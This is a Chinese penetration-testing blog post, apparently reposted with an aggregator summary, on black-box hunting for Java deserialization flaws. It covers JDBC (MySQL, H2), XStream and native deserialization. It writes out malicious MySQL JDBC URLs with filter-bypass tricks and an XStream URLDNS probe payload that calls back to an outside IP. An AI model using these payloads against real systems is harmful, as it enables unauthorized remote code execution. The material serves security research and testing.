文章总结: 文章介绍了Java反序列化漏洞黑盒挖掘的三种主要类型:JDBC反序列化、XStream反序列化和原生反序列化漏洞。针对每种类型,文章提供了详细的识别特征、利用方法和绕过技巧,如MySQL中使用yes代替true、使用#号注释强行添加的内容等。文章还介绍了使用URLDNS链探测XStream反序列化漏洞的方法,并提供了实用的工具使用示例,对安全研究人员和渗透测试人员有很高的参考价值。
综合评分: 89
文章分类: 漏洞分析,渗透测试,漏洞POC,WEB安全,代码审计
Java反序列化漏洞黑盒挖掘思路-下篇
原创
有恒
有恒安全
2025年10月18日 00:00
广东
一、JDBC反序列化
JDBC 反序列化一般出现在跟数据库连接相关的功能里,比如数据源配置、连接测试这类地方。
常见的可利用数据库有 MySQL、H2、PostgreSQL等,不同数据库的利用方式不一样,比如 H2 和 MySQL 的 gadget 链和触发点就各不相同。我们可以通过在连接字符串里指定不同的驱动类名,然后看服务端的报错信息,来判断它有没有加载对应的驱动。
com.mysql.jdbc.Driverorg.h2.Driverorg.postgresql.Driver
1.1 MySQL
mysql的打法思路之前文章有提及,这里补充一下绕过手段。
jdbc:mysql://10.0.0.0:1234/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
过滤了true,可以使用yes代替。
jdbc:mysql://10.0.0.0:1234/test?autoDeserialize=yes&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
强行末尾添加 autoDeserialize=false的情况,可以使用 # 号注释掉强行添加的内容
jdbc:mysql://10.0.0.0:1234/test?autoDeserialize=yes&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#
1.2 H2
h2数据库的可以使用Java Chains生成
二、XStream反序列化
在XML格式传输的数据包中,除了常见的XXE漏洞外,还可能存XStream 反序列化漏洞。
用URLDNS链来探测,如果目标触发了DNS请求并回连到我们DNSLog,基本就能判断后端用了 XStream 组件。
<map> <entry> <url>http://192.166.80.9/1</url> <string></string></entry></map>
同样使用工具生成链子打
三、原生反序列化漏洞
最典型的特征:Base64编码以rO0AB开头,原始字节流开头是 AC ED 00 05(十六进制)。具体打法思路和前面类似。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:有恒安全 有恒《Java反序列化漏洞黑盒挖掘思路-下篇》